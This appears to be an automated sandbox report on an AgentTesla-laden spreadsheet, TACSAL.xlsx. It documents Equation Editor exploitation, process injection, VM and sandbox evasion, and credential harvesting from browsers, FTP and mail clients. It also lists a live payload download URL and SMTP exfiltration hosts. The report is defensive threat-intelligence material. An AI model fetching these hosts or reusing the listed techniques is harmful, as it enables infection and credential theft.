Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX

Source: TACSAL.xlsx

Stream path 'EncryptedPackage' entropy: 7.9999208389 (max. 8.0)

Malware Analysis System Evasion:

Yara detected AntiVM_3

Show sources

Source: Yara match	File source: 00000004.00000002.2159933636.00000000023DA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2159922481.00000000023C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2736, type: MEMORY

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\Public\vbc.exe

WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Users\Public\vbc.exe

WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: vbc.exe, 00000004.00000002.2159933636.00000000023DA000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: vbc.exe, 00000004.00000002.2159933636.00000000023DA000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Source: C:\Users\Public\vbc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\vbc.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\Public\vbc.exe

Window / User API: threadDelayed 9649

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2300	Thread sleep time: -300000s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 2712	Thread sleep time: -51785s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 2892	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 2956	Thread sleep time: -300000s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 2960	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 2960	Thread sleep time: -120000s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 3012	Thread sleep count: 82 > 30
Source: C:\Users\Public\vbc.exe TID: 3012	Thread sleep count: 9649 > 30
Source: C:\Users\Public\vbc.exe TID: 2960	Thread sleep count: 107 > 30

Source: C:\Users\Public\vbc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\Public\vbc.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\Public\vbc.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: vbc.exe, 00000004.00000002.2159933636.00000000023DA000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: vbc.exe, 00000004.00000002.2159933636.00000000023DA000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: vbc.exe, 00000004.00000002.2159933636.00000000023DA000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: vbc.exe, 00000004.00000002.2159933636.00000000023DA000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\Public\vbc.exe

Process information queried: ProcessInformation

Anti Debugging:

Source: C:\Users\Public\vbc.exe

Process token adjusted: Debug

Source: C:\Users\Public\vbc.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\Public\vbc.exe

Memory written: C:\Users\Public\vbc.exe base: 400000 value starts with: 4D5A

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe

Source: vbc.exe, 00000005.00000002.2371071376.0000000000EC0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: vbc.exe, 00000005.00000002.2371071376.0000000000EC0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: vbc.exe, 00000005.00000002.2371071376.0000000000EC0000.00000002.00000001.sdmp	Binary or memory string: !Progman

Language, Device and Operating System Detection:

Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Users\Public\vbc.exe VolumeInformation
Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Users\Public\vbc.exe VolumeInformation
Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000005.00000002.2370560370.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2371263271.0000000002618000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2160179580.00000000033C8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2836, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2736, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cookies.sqlite
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\Public\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\Public\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2836, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000005.00000002.2370560370.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2371263271.0000000002618000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2160179580.00000000033C8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2836, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2736, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Path Interception	Process Injection112	Disable or Modify Tools11	OS Credential Dumping2	File and Directory Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution13	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Deobfuscate/Decode Files or Information1	Credentials in Registry1	System Information Discovery114	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information31	Security Account Manager	Security Software Discovery211	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing2	NTDS	Virtualization/Sandbox Evasion13	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading111	LSA Secrets	Process Discovery2	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol132	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion13	Cached Domain Credentials	Application Window Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection112	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
TACSAL.xlsx	32%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\winlog[1].exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
5.2.vbc.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1138205		Download File

Domains

Source	Detection	Scanner	Label	Link
suresb1sndyintercont.dns.army	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
http://suresb1sndyintercont.dns.army/receipst/winlog.exe	11%	Virustotal		Browse
http://suresb1sndyintercont.dns.army/receipst/winlog.exe	100%	Avira URL Cloud	malware
http://smtp.migeulez.com	0%	Avira URL Cloud	safe
http://GhlhtO.com	0%	Avira URL Cloud	safe
https://FTlR0ss5usK.net	0%	Avira URL Cloud	safe
https://api.ipify.org%GETMozilla/5.0	0%	URL Reputation	safe
https://api.ipify.org%GETMozilla/5.0	0%	URL Reputation	safe
https://api.ipify.org%GETMozilla/5.0	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
https://api.ipify.org%	0%	URL Reputation	safe
https://api.ipify.org%	0%	URL Reputation	safe
https://api.ipify.org%	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
us2.smtp.mailhostbox.com	208.91.199.225	true	false		high
suresb1sndyintercont.dns.army	103.153.76.181	true	true	4%, Virustotal, Browse	unknown
smtp.migeulez.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://suresb1sndyintercont.dns.army/receipst/winlog.exe	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://FTlR0ss5usK.net	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	vbc.exe, 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	vbc.exe, 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	vbc.exe, 00000005.00000002.2372183882.0000000005DF0000.00000002.00000001.sdmp	false		high
http://us2.smtp.mailhostbox.com	vbc.exe, 00000005.00000002.2371340918.00000000026D6000.00000004.00000001.sdmp	false		high
http://www.day.com/dam/1.0	E243FB15.emf.0.dr	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	vbc.exe, 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://smtp.migeulez.com	vbc.exe, 00000005.00000002.2371340918.00000000026D6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://GhlhtO.com	vbc.exe, 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org%GETMozilla/5.0	vbc.exe, 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://www.%s.comPA	vbc.exe, 00000005.00000002.2372183882.0000000005DF0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000004.00000002.2159922481.00000000023C1000.00000004.00000001.sdmp	false		high
https://api.ipify.org%	vbc.exe, 00000005.00000002.2371263271.0000000002618000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	vbc.exe, 00000004.00000002.2160179580.00000000033C8000.00000004.00000001.sdmp, vbc.exe, 00000005.00000002.2370560370.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
208.91.198.143	unknown	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	true
208.91.199.225	unknown	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	false
103.153.76.181	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	344848
Start date:	27.01.2021
Start time:	09:14:23
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 52s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	TACSAL.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLSX@6/8@8/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 0.2% (good quality ratio 0.2%) Quality average: 58.3% Quality standard deviation: 15.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe TCP Packets have been reduced to 100 Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:15:09	API Interceptor	80x Sleep call for process: EQNEDT32.EXE modified
09:15:13	API Interceptor	949x Sleep call for process: vbc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
208.91.198.143	para.exe	Get hash	malicious	Browse
	SIC_9827906277.pdf.exe	Get hash	malicious	Browse
	HTMY-209871640.exe	Get hash	malicious	Browse
	Payment slip.exe	Get hash	malicious	Browse
	2Dd20YdQDR.exe	Get hash	malicious	Browse
	SPpfYOx5Ju.exe	Get hash	malicious	Browse
	Z1cfHQnsLw.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Packed2.42809.32039.exe	Get hash	malicious	Browse
	MTC74989-1-19-21.exe	Get hash	malicious	Browse
	IQzEWkxzNM.exe	Get hash	malicious	Browse
	72-XV-032_Valves.exe	Get hash	malicious	Browse
	sample2.exe	Get hash	malicious	Browse
	invoice No 8882.exe	Get hash	malicious	Browse
	DHL Delivery Confirmation.exe	Get hash	malicious	Browse
	Verify Email.exe	Get hash	malicious	Browse
	Statement of Account.doc	Get hash	malicious	Browse
	vsl particulars.exe	Get hash	malicious	Browse
	DHL Shipment Documents.exe	Get hash	malicious	Browse
	suk1MHq6DK.exe	Get hash	malicious	Browse
	Swift_advise.xlsx	Get hash	malicious	Browse
208.91.199.225	para.exe	Get hash	malicious	Browse
	Quotation Prices.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.PackedNET.519.20020.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Artemis707F61F6A223.exe	Get hash	malicious	Browse
	SOA.exe	Get hash	malicious	Browse
	SPpfYOx5Ju.exe	Get hash	malicious	Browse
	ezs8BPdIwM.exe	Get hash	malicious	Browse
	Order confirmation.xlsx	Get hash	malicious	Browse
	Groupo Dani Order_pdf.exe	Get hash	malicious	Browse
	Purchased Order.exe	Get hash	malicious	Browse
	NvS9UwcK3c.exe	Get hash	malicious	Browse
	Outstanding Invoices.exe	Get hash	malicious	Browse
	UAE CHEMEX RFQ.exe	Get hash	malicious	Browse
	Invoice.exe	Get hash	malicious	Browse
	AWB & Shipping Document.exe	Get hash	malicious	Browse
	MV. Double Miracle.exe	Get hash	malicious	Browse
	AWB & Shipping Document.exe	Get hash	malicious	Browse
	Shipping document.exe	Get hash	malicious	Browse
	FB-108N & FB-108NK #U8a62#U50f9 - #U7530#U52e4.exe	Get hash	malicious	Browse
	Ldz62seIo3.exe	Get hash	malicious	Browse
103.153.76.181	PRESUPUESTO.xlsx	Get hash	malicious	Browse	suresb1sndyintercont.dns.army/receipst/winlog.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
us2.smtp.mailhostbox.com	PO#21010028 - SYINDAC QT-00820_pdf.exe	Get hash	malicious	Browse	208.91.199.223
	para.exe	Get hash	malicious	Browse	208.91.199.225
	AWB 9899691012 TRACKING INFO_pdf.exe	Get hash	malicious	Browse	208.91.199.224
	para.exe	Get hash	malicious	Browse	208.91.199.224
	SIC_9827906277.pdf.exe	Get hash	malicious	Browse	208.91.198.143
	Quotation Prices.exe	Get hash	malicious	Browse	208.91.199.225
	SecuriteInfo.com.Trojan.PackedNET.519.20020.exe	Get hash	malicious	Browse	208.91.199.225
	SSE_SOA2021.doc	Get hash	malicious	Browse	208.91.198.143
	HTG-9066543.exe	Get hash	malicious	Browse	208.91.199.223
	New Order #21076.exe	Get hash	malicious	Browse	208.91.199.224
	HTMY-209871640.exe	Get hash	malicious	Browse	208.91.198.143
	SecuriteInfo.com.Artemis707F61F6A223.exe	Get hash	malicious	Browse	208.91.199.225
	New order.PDF.exe	Get hash	malicious	Browse	208.91.199.224
	SOA.exe	Get hash	malicious	Browse	208.91.199.225
	7xCBr7CChD.exe	Get hash	malicious	Browse	208.91.199.224
	Purchase Order no 7770022460.exe	Get hash	malicious	Browse	208.91.199.224
	Payment slip.exe	Get hash	malicious	Browse	208.91.198.143
	2Dd20YdQDR.exe	Get hash	malicious	Browse	208.91.198.143
	SPpfYOx5Ju.exe	Get hash	malicious	Browse	208.91.199.225
	ezs8BPdIwM.exe	Get hash	malicious	Browse	208.91.199.224
suresb1sndyintercont.dns.army	PRESUPUESTO.xlsx	Get hash	malicious	Browse	103.153.76.181

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TWIDC-AS-APTWIDCLimitedHK	Delivery Note Awd 35378383-84783933.exe	Get hash	malicious	Browse	103.153.182.50
	PRESUPUESTO.xlsx	Get hash	malicious	Browse	103.153.76.181
	Delivery Note Awd 3637368383-938937833.exe	Get hash	malicious	Browse	103.153.182.50
	9oUx9PzdSA.exe	Get hash	malicious	Browse	103.155.92.70
	PAYMENT DOCS.html	Get hash	malicious	Browse	103.153.182.184
	Delivery Note Awd 2837939373-840847474.exe	Get hash	malicious	Browse	103.153.182.50
	DTwcHU5qyI.exe	Get hash	malicious	Browse	103.153.215.41
	NormhjTcQb.exe	Get hash	malicious	Browse	103.158.117.234
	https://app.box.com/s/8kw08i72600qzu1i7qj2c537n90a2z20	Get hash	malicious	Browse	103.158.223.22
	https://fornitureee.ru/fvgt45fvdvrbtgevdc/?xujytrhamtion=456rgrfds427	Get hash	malicious	Browse	103.153.182.5
	https://www.canva.com/design/DAEPpAhiSBc/pVb5D_otLEjM848gOGNt8w/view?utm_content=DAEPpAhiSBc&utm_campaign=designshare&utm_medium=link&utm_source=publishsharelink	Get hash	malicious	Browse	103.153.182.5
	https://artparket24wru.ru/wbv45trvfdcergtgbfvd/?dfvbyu34gb=75446823	Get hash	malicious	Browse	103.153.182.184
	https://www.canva.com/design/DAEOcBy2dTg/1IjeQ8nYTzcxbMsaULT2SQ/view?utm_content=DAEOcBy2dTg&utm_campaign=designshare&utm_medium=link&utm_source=publishsharelink	Get hash	malicious	Browse	103.153.182.184
	https://got7wco.ru/fvgt45fvdvrbtgevdc/?xujytrhamtion=456rgrfds427	Get hash	malicious	Browse	103.153.182.5
	https://got7wco.ru/fvgt45fvdvrbtgevdc/?xujytrhamtion=456rgrfds427	Get hash	malicious	Browse	103.153.182.5
	https://wtseticket.gb.net/jnhbtrvr4r/?Helmeitas23=56hbgfd3xs#jmanathenghat@phcc.gov.qa	Get hash	malicious	Browse	103.153.182.184
	ACH ADVICE ON 16-11-2020.exe	Get hash	malicious	Browse	103.152.226.83
	Additional Agreement 2020-KYC.exe	Get hash	malicious	Browse	103.152.226.83
	Scanned from a Xerox Multifunction Printer.jar	Get hash	malicious	Browse	103.153.76.172
	Scanned from a Xerox Multifunction Printer.jar	Get hash	malicious	Browse	103.153.76.172
PUBLIC-DOMAIN-REGISTRYUS	PO#21010028 - SYINDAC QT-00820_pdf.exe	Get hash	malicious	Browse	208.91.199.223
	para.exe	Get hash	malicious	Browse	208.91.199.225
	AWB 9899691012 TRACKING INFO_pdf.exe	Get hash	malicious	Browse	208.91.199.224
	para.exe	Get hash	malicious	Browse	208.91.199.224
	SIC_9827906277.pdf.exe	Get hash	malicious	Browse	208.91.198.143
	Quotation Prices.exe	Get hash	malicious	Browse	208.91.199.223
	SecuriteInfo.com.Trojan.PackedNET.519.20020.exe	Get hash	malicious	Browse	208.91.199.225
	Shipping_Details.exe	Get hash	malicious	Browse	204.11.58.28
	Request.xlsx	Get hash	malicious	Browse	103.53.40.13
	HTG-9066543.exe	Get hash	malicious	Browse	208.91.199.223
	vA0mtZ7JzJ.exe	Get hash	malicious	Browse	216.10.246.131
	New Order #21076.exe	Get hash	malicious	Browse	208.91.199.224
	k.dll	Get hash	malicious	Browse	162.215.252.76
	HTMY-209871640.exe	Get hash	malicious	Browse	208.91.198.143
	SecuriteInfo.com.Artemis707F61F6A223.exe	Get hash	malicious	Browse	208.91.199.225
	SecuriteInfo.com.Trojan.DownLoader36.37393.26064.exe	Get hash	malicious	Browse	43.225.55.205
	New order.PDF.exe	Get hash	malicious	Browse	208.91.199.224
	certificado.doc	Get hash	malicious	Browse	162.215.254.66
	SecuriteInfo.com.Mal.DocDl-K.32352.doc	Get hash	malicious	Browse	162.215.254.66
	SecuriteInfo.com.Mal.DocDl-K.460.doc	Get hash	malicious	Browse	162.215.254.66
PUBLIC-DOMAIN-REGISTRYUS	PO#21010028 - SYINDAC QT-00820_pdf.exe	Get hash	malicious	Browse	208.91.199.223
